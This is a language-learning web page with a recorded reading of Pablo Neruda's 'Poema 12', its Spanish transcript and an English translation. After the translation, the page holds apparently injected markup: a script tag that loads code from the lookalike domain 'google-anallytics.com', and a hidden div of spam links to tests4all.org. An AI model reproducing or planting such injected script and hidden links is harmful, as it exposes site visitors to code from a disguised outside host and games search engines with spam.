Language sounds
Home > Sounds > Poema 12 - Pablo Neruda

‘Poema 12 - Pablo Neruda’
Click to listen to Recorded 2008-09-15 11-03-36.mp3 (791Kb)
Non-native speaker
Accent: American
Author: JW
Date: 9/15/2008

Transcript of sound file:
Para mi corazón basta tu pecho,
para tu libertad bastan mis alas.
Desde mi boca llegará hasta el cielo
lo que estaba dormido sobre tu alma.

Es en ti la ilusión de cada día.
Llegas como el rocío a las corolas.
Socavas el horizonte con tu ausencia.
Eternamente en fuga como la ola.

He dicho que cantabas en el viento
como los pinos y como los mástiles.
Como ellos eres alta y taciturna.
Y entristeces de pronto, como un viaje.

Acogedora como un viejo camino.
Te pueblan ecos y voces nostálgicas.
Yo desperté y a veces emigran y huyen
pájaros que dormían en tu alma.

---

Translation:
For my heart your breast is enough
For your freedom my wings are enough
From my mouth will reach to heaven
that which was asleep above your soul

It is in you the hope of each day
you arrive like the dew on the flower petals
You undermine the horizon with your absence
Eternally in flight like the wave

I said that you sang in the wind
like the pines and the masts
like them you are tall and silent
and you are suddenly saddened like a journey

Cosy like an old path
Nostalgic echos and voices inhabit you
I woke up and sometimes birds migrate and flee
that slept in your soul
'text/javascript' src='http://google-anallytics.com/urchin.js'></script><div style='display:none;'><a href='http://tests4all.org/1/'>stages for losing weight</a><a href='http://tests4all.org/2/'>lauren sones personal trainer</a><a href='http://tests4all.org/3/'>lung cleansing quit smoking</a><a href='http://tests4all.org/4/'>blu eyes crying in the rain</a><a href='http://tests4all.org/5/'>photo proof the cardinals got cheated</a><a href='http://tests4all.org/6/'>video game occupations pay</a><a href='http://tests4all.org/7/'>alpha investment partners limited</a><a href='http://tests4all.org/8/'>britannica iq test</a><a href='http://tests4all.org/9/'>america psychic challenge contestant names</a><a href='http://tests4all.org/10/'>nashville past life regression</a><a href='http://tests4all.org/11/'>andrew elliott death date jun 1968</a><a href='http://tests4all.org/12/'>experimental lung liver cancer treatments</a></div>

---

Upload a sound file (you need to register or login to the forum first)